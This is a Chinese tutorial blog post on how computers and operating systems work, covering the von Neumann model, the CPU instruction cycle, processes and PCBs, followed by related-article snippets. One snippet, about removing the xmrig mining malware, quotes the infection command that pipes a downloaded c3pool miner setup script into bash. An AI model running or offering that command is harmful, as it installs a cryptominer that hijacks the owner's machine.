[Java EE] 计算机工作原理与操作系统简明概要

news2025/2/8 21:48:18

1. 计算机工作原理

1.1 生活中常见的计算机

计算机分为通用计算机和专用计算机,计算机并不单单指的是电脑,还有我们平时使用的手机,ipad,智能手表等终端设备都是计算机.还有我们用户不常见的计算机,比如服务器. 还有许多嵌入式设备(针对特定场景定制的"专用计算机"),都是计算机.

服务器
智能手表

1.2 冯诺依曼体系

现代的大多数计算机都遵守冯诺依曼体系结构.
在这里插入图片描述
简述上述过程就是:输入设备为存储器(内存和外存)输入数据,存储器向CPU发号施令,提醒CPU处理数据,CPU则会把存储设备中的数据读取过来,进行一系列处理,再放入存储设备中.之后通过存储设备输出到输出设备中.
下面我们介绍各个部件的主要功能:

  • CPU中央处理器: 主要进行二进制算数运算和逻辑判断.
  • 存储器: 分为内存和外存,用于存储数据(使用二进制方式存储)
  • 输入设备: 给计算机发号施令的设备.
  • 输出设备: 计算机向用户汇报结果的设备.
    针对存储空间:
    硬盘>内存>>CPU
    针对数据访问速度:
    CPU>>内存>硬盘

1.3 CPU指标与核心

我们可以把CPU看做一个打工人:

  1. CPU的两个指标:
    • CPU占用率:
      描述CPU干活时间栈总时间的比例.我们可以通过任务管理器来看到它.比如CPU上班上8个小时,干4个小时的活,CPU占用率为50%.

在这里插入图片描述

  • CPU频率:
    1秒钟,CPU处理或者执行了多少个指令.

在这里插入图片描述
2. 多核CPU
我们如今在市面上见到的计算机大多数都不是单核CPU,一个CPU中存在多个核心.
我们经常说的CPU几核,这指的是物理核心,CPU多少线程,指的是逻辑核心.下面我们以intel5-13500HX芯片来举例:
在这里插入图片描述
引入多核CPU的目的:
引入多核CPU的核心,本质上就相当于==“干活的人多了”==,只不过把这些人集中在了一个房间中,这就可以让任务的完成更高效.我们以后编程的核心就是:如何把多个任务拆分成多个部分交给不同的核心来完成."多线程"编程就是针对任务分配来考虑的软件编程,避免一核有难,多核围观的尴尬.这便是我们以后要研究的重点.
3. CPU的不同架构类型

  • x86架构类型(如Intel,AMD生产的芯片大多数是x86CPU)
  • arm架构类型(如Apple A17仿生芯片,骁龙888等用于移动设备的芯片大多数都是armCPU)
  • x86的优点就是性能较高,但功耗较高,而arm恰恰相反.

1.4 指令

所谓指令,即指导CPU进行工作的命令,主要有操作码+被操作数组成。
其中操作码⽤来表⽰要做什么动作,被操作数是本条指令要操作的数据,可能是内存地址,也可能是寄存器编号等.
冯诺依曼体系结构规定:
一个程序,指令和数据要在储存器中保存,CPU如果需要执行,都需要自动从存储器中去取指令和数据.即指令要先加载到内存中,才可以被CPU读取并执行.
eg:一个Java程序 -->.java -->编译 --> .class字节码文件 -->jvm -->到达内存 --> 翻译 -->CPU识别.

计算机中CPU的指令识别也有一定的规则,所以我们引入了指令表:
在这里插入图片描述
每个CPU被设计出来之后,都会提供这样一个指令表.这个指令表中的opcode对应的是内存数据中的操作码.就是告诉CPU要怎么做的二进制指令.操作的地址或寄存器就是告诉CPU从哪里取出被操作数(数据)并存储到哪里.

1.5 CPU的基本工作流程(重点)

  1. 读指令
    把内存中的指令数据读取到CPU的寄存器中
  2. 解析指令
    CPU通过指令表来解析当前指令要求它干啥
  3. 执行指令

注:寄存器是CPU用来保存数据的地方,一般有A,B,PC,IR四个,其中IR用来读取内存中的指令,PC用来读取内存中的地址.IR可通过PC提供的内存地址来从内存中取出指令来解析.,AB寄存器都是用来存储数据的.
下面来用图来形象地表示上述过程:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
总结:

  • CPU中的PC寄存器,是决定要执行那条指令的关键
  • 指令是有动作+操作对象组成的.
  • CPU眼中只有指令,没有其他概念.

2. 操作系统

操作系统是⼀组做计算机资源管理的软件的统称。⽬前常⻅的操作系统有:Windows系列、Unix系
列、Linux系列、OSX系列、Android系列、iOS系列、鸿蒙等。它们可以让计算机按照一定的规则进行执行,并管理好这个计算机上所有的硬件与软件资源,这是操作系统诞生的初心.
操作系统: 这个家没我都得散.

2.1 操作系统的定位

在这里插入图片描述
注:上述操作系统,可以看做操作系统内核.

那么操作系统是如何完成一个功能的呢?操作系统内核为应用程序提供了API,应用程序通过调用操作系统内核的API,来告诉操作系统内核这个进程并创建,之后操作系统内核通过与中央处理器的驱动程序,来在处理器中完成调用指令与数据.

这么说来有些抽象,我们通过银行柜台取钱的例子来解释:

  1. 应用程序相当于一个来取钱的人
  2. API相当于存折
  3. 取钱的人(应用程序)把存折(API)递给银行柜台的员工(操作系统),之后柜台员工(操作系统)从保险柜(处理器)中把钱取出来递给取钱的人(应用程序).

2.2 进程与任务

注意:下面谈到的进程都是只包含一个线程的进程
进程是操作系统对⼀个正在运⾏的程序的⼀种抽象,换⾔之,可以把进程看做程序的⼀次运⾏过程;同时,在操作系统内部,进程⼜是操作系统进⾏资源分配的基本单位
系统资源分配情况可通过系统资源管理器来查看:
在这里插入图片描述
但是上述的操作系统中的进程又非常多,我们就要考虑如何管理的问题了.

  1. 操作系统通过进程控制块抽象(PCB Process Control Block)来描述一个进程,PCB其实就是java中的一个类,操作系统底层的一个结构体成员.
  2. 操作系统通过一定的数据结构来把这些PCB有序地组织起来,如线性表(一般是链表),搜索树.方便增删查改.

那么这个结构体变量中有包含哪些信息呢:

  1. pid: 进程的id标识符.

  2. 内存指针: 这是一组指针组,告诉OS,该进程的指令位于内存中的地址以及进程依赖数据的地址.

  3. 文件描述符表: 一个进程在运行的时候要操作的文件,PCB会通过顺序表的数据结构来记录当前进程都打开了哪些文件.

  4. 支持进程调度的属性:
    要想解释明白这个属性,我们要先解释什么是进程调度:

    假设有100个进程,CPU虽然有多个核心,假设为16个,只能同时处理16个进程,这16个进程是完全同时执行,我们把他称为并行,但是如果想要执行100个,显然全部并行是远远不够的,这是CPU就会把总执行时间切为若干个小段,在这一小段的时间中,对进程频繁切换,我们称为并发执行.只不过时间非常短,人类感觉不到切换.
    所以,进程的调度从微观上来讲分为两种:1. 并行: 在时间上完全同时执行. 2. 并发: 在时间上串行,但是在宏观上也是同时执行.
    所以上述调度从宏观上来谈,统称并发.

    之后我们再来谈PCB中的第四个属性:

    1. 状态: 进程分为两种状态:就绪状态和阻塞状态.就绪状态就是随叫随到,阻塞状态的进程指令与数据暂时无法再CPU上执行.
    2. 优先级: 那个进程优先级高,就优先调用哪个进程.
    3. 上下文: 进程在CPU执行中,会产生许多的中间结果,进程在切换出CPU前,就需要把中间结果保存到PCB的上下文中,我们称为存档,下次进程回到CPU上时,就要把之前的存档回复回来,我们称为读档.
    4. 记账信息: OS要避免某个进程一直吃不到资源,所以就要进行统计,给分配的比较少的进程多分配一点.

    举例:渣女小故事
    一个女生同时被3个男生追:
    A男生:有钱多金
    B男生:颜值高,长得帅
    C男生: 开心果,会给女生提供情绪价值( 舔狗 )
    A男生比较有钱多金,所以经常出差,在平时,他可以随叫随到,是就绪状态,但是在他出差的时候,就不会随叫随到,进入阻塞状态
    C男生可以提供精神食粮,其实就是会舔,女生认为精神上的安慰更实在,所以C的优先级会更高,C分配的时间就会相对较多
    有一天,A男生的妈妈过生日,C男生打算去海边玩,然后女生就打算对男生A说,我买了一条红围巾,打算对C说,我买了一身性感的泳衣,由于小姐姐泡的男人太多了,看错A和C男生法的信息了,一不小心把A和C给整叉了,这就尴尬了.(C:你去海滩戴围巾??? , A:你给我妈妈买了一身性感的泳衣???)可见上下文的重要性.
    哎呀~~,把咱们的B小朋友给掉了,给咱们B小朋友多分配一点时间吧,所以记账信息也会起到一定的作用.
    在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1597981.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

224 基于matlab的优化工具箱优化函数

基于matlab的优化工具箱优化函数, 此工具箱中提供的算法包括: 灰狼优化器(GWO),蚂蚁狮子优化器(ALO),多功能优化器(MVO),蜻蜓算法(DA&…

蚂蚁云科技集团正式发布以正教育大模型,专注因材施教

4月12日,蚂蚁云科技集团成功举办“智以育人、慧正无界——以正教育大模型产品发布会”,该产品致力于智慧教育变革,让因材施教成为可能。 上海科学技术交流中心科技企业服务处处长陈霖博士、中国信通院华东分院院长廖运发、上海市科协常委马慧民博士等出席并致辞;南威软件集团执…

2024很漂亮的个人主页HTML源码

源码介绍 很漂亮的个人主页HTML源码,源码由HTMLCSSJS组成,记事本打开源码文件可以进行内容文字之类的修改,双击html文件可以本地运行效果,也可以上传到服务器里面 截图效果 源码下载 很漂亮的个人主页HTML源码

Unity 3D定点数物理引擎实战系列:BEPU物理引擎碰撞计算与碰撞规则的架构与设计

前面我们讲解了如何监听物理引擎的碰撞事件, 在物理引擎内核中如何架构与设计碰撞规则,使得物理Entity与周围的物理环境产生碰撞时,如何灵活的控制物理碰撞,本节給大家详细的讲解BEPUphysicsint 物理引擎内部是如何管理与控制碰撞规则的。本文主要讲解3个…

Linux下SPI设备驱动实验:验证SPI节点及ICM20608设备子节点

一. 简介 前一篇文章在设备树文件中创建了SPI的 IO 的 pinctrl节点,SPI节点及ICM20608设备子节点,文章如下: Linux下SPI设备驱动实验:创建SPI节点及SPI设备子节点-CSDN博客 本文对设备树文件进行加载测试,确定SPI节…

MinGW与Cygwin傻傻分不清楚

MinGW(Minimalist GNU for Windows)和Cygwin是两个在Windows平台上广泛使用的开发工具,它们各自具有不同的特点和适用场景。 MinGW 的主要方向是让GCC的Windows移植版能使用Win32API来编程。MinGW几乎支持所有的Win32API。 Cygwin 的主要方…

封装原生html的table处理方法【参数类似eltable】

直接跑html即可 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>封装原生talbe</title> </…

SQL注入sqli_labs靶场第十七题

B站教学视频很详细 【sql注入之sqli-labs系列教程(less11-17)】sqli-labs_33_less17_哔哩哔哩_bilibili 我将SQL语句在页面中显示&#xff0c;以便更深入学习。 1.寻找注入点 修改密码的一个页面。 输入正确的账号密码&#xff0c;可以看到&#xff0c;账号为admin&#xf…

三.变量的运算

目录 3.1 基本语法 3.2 算术运算符 3.3 字符串运算符 3.4 文件测试运算符 3.5 关系运算符 3.6 布尔运算符 3.7 逻辑运算符 3.8 运算表达式 Shell 和其他编程语言一样&#xff0c;支持多种运算符&#xff0c;包括&#xff1a; 算数运算符 关系运算符 布尔运算符 字符…

NO1 nmap工具的使用

以windows为例 nmap下载界面&#xff1a;Npcap: Windows Packet Capture Library & Driver&#xff0c;打开后找到对应的版本进行直接下载&#xff0c;双击exe文件安装即可。 Nmap安装&#xff08;Linux&#xff09; 对于大多数的Linux来说&#xff0c;可以直接利用RPM包…

基于Springboot+Vue的Java项目-校园周边美食探索及分享平台系统开发实战(附演示视频+源码+LW)

大家好&#xff01;我是程序员一帆&#xff0c;感谢您阅读本文&#xff0c;欢迎一键三连哦。 &#x1f49e;当前专栏&#xff1a;Java毕业设计 精彩专栏推荐&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; &#x1f380; Python毕业设计 &am…

​面试经典150题——LRU 缓存

​ 1. 题目描述 2. 题目分析与解析 首先讲解一下LRU LRU 是“Least Recently Used”的缩写&#xff0c;LRU 算法的基本思想是跟踪最近最少使用的数据&#xff0c;并在缓存已满且需要存储新数据时优先驱逐该数据。 LRU 算法通常的工作原理的简化解释&#xff1a; 当访问或使…

【安全】查杀linux上c3pool挖矿病毒xmrig

挖矿平台&#xff1a;猫池 病毒来源安装脚本 cat /root/c3pool/config.jsoncrontab -r cd /root/c3poolcurl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALLen_US.UTF-8 bash -s 44SLpuV4U7gB6RNZMCweHxWug7b1YUir4jLr3RBaVX33Qxj…

1043: 利用栈完成后缀表达式的计算

解法&#xff1a; #include<iostream> #include<stack> using namespace std; int main() {char a;stack<int> sk;while (cin >> a && a ! #) {if (a > 0 && a < 9) {sk.push(a - 0);}else {int num2 sk.top();sk.pop();int n…

数据结构--栈,队列,串,广义表

3.栈 &#xff08;先进后出&#xff09; 栈是一种特殊的线性表&#xff0c;只能从一端插入或删除操作。 4.队列 4.1 4.1.1初始化 4.1.2判断队列是否为空 4.1.3判断队列是否为满 4.1.4入队 4.1.5出队 4.1.6打印队列 4.1.7销毁队列 5.串 5.1 串的定义 由零个或者任意多…

C语言 | Leetcode C语言题解之第30题串联所有单词的子串

题目&#xff1a; 题解&#xff1a; typedef struct {char key[32];int val;UT_hash_handle hh; } HashItem;int* findSubstring(char * s, char ** words, int wordsSize, int* returnSize){ int m wordsSize, n strlen(words[0]), ls strlen(s);int *res (int *)mall…

总结|性能优化思路及常用工具及手段

性能优化是降低成本的手段之一&#xff0c;每年大促前业务平台都会组织核心链路上的应用做性能优化&#xff0c;一方面提升系统性能&#xff0c;另外一方面对腐化的代码进行清理。现结合业务平台性能优化的经验&#xff0c;探讨一下性能优化的思路及常用工具及手段。性能优化本…

[阅读笔记2][FLAN]FINETUNED LANGUAGE MODELS ARE ZERO-SHOT LEARNERS

接下来这篇是谷歌的FLAN&#xff0c;提出了指令微调这一新范式&#xff0c;在2022年发表。 这篇论文指出GPT3的zero-shot性能相比few-shot性能差太多了。他们发现如果对预训练模型进行指令微调能使zero-shot性能显著提升&#xff0c;下面右图显示指令微调后zero-shot比GPT3 few…

【模拟】Leetcode 替换所有的问号

题目讲解 1576. 替换所有的问号 算法讲解 这里有两个特殊情况&#xff1a;如果&#xff1f;在第一个位置&#xff0c;只需要判断后面的符号&#xff1b; 如果&#xff1f;在最后一个位置&#xff0c;只需要判断前面的符号 class Solution { public:string modifyString(stri…

Unity AR开发环境搭建

在这个项目中使用 Unity 2022.3.19。 AR项目建议使用2022.3及以上版本。 创建一个 3D URP 项目并将其命名为 Magicbox-AR。 注意&#xff1a;如果计划发布 iOS 版 AR 项目&#xff0c;则必须有权使用 Mac 进行最终构建。Windows 计算机无法为 iOS 设备构建最终产品。 项目创建…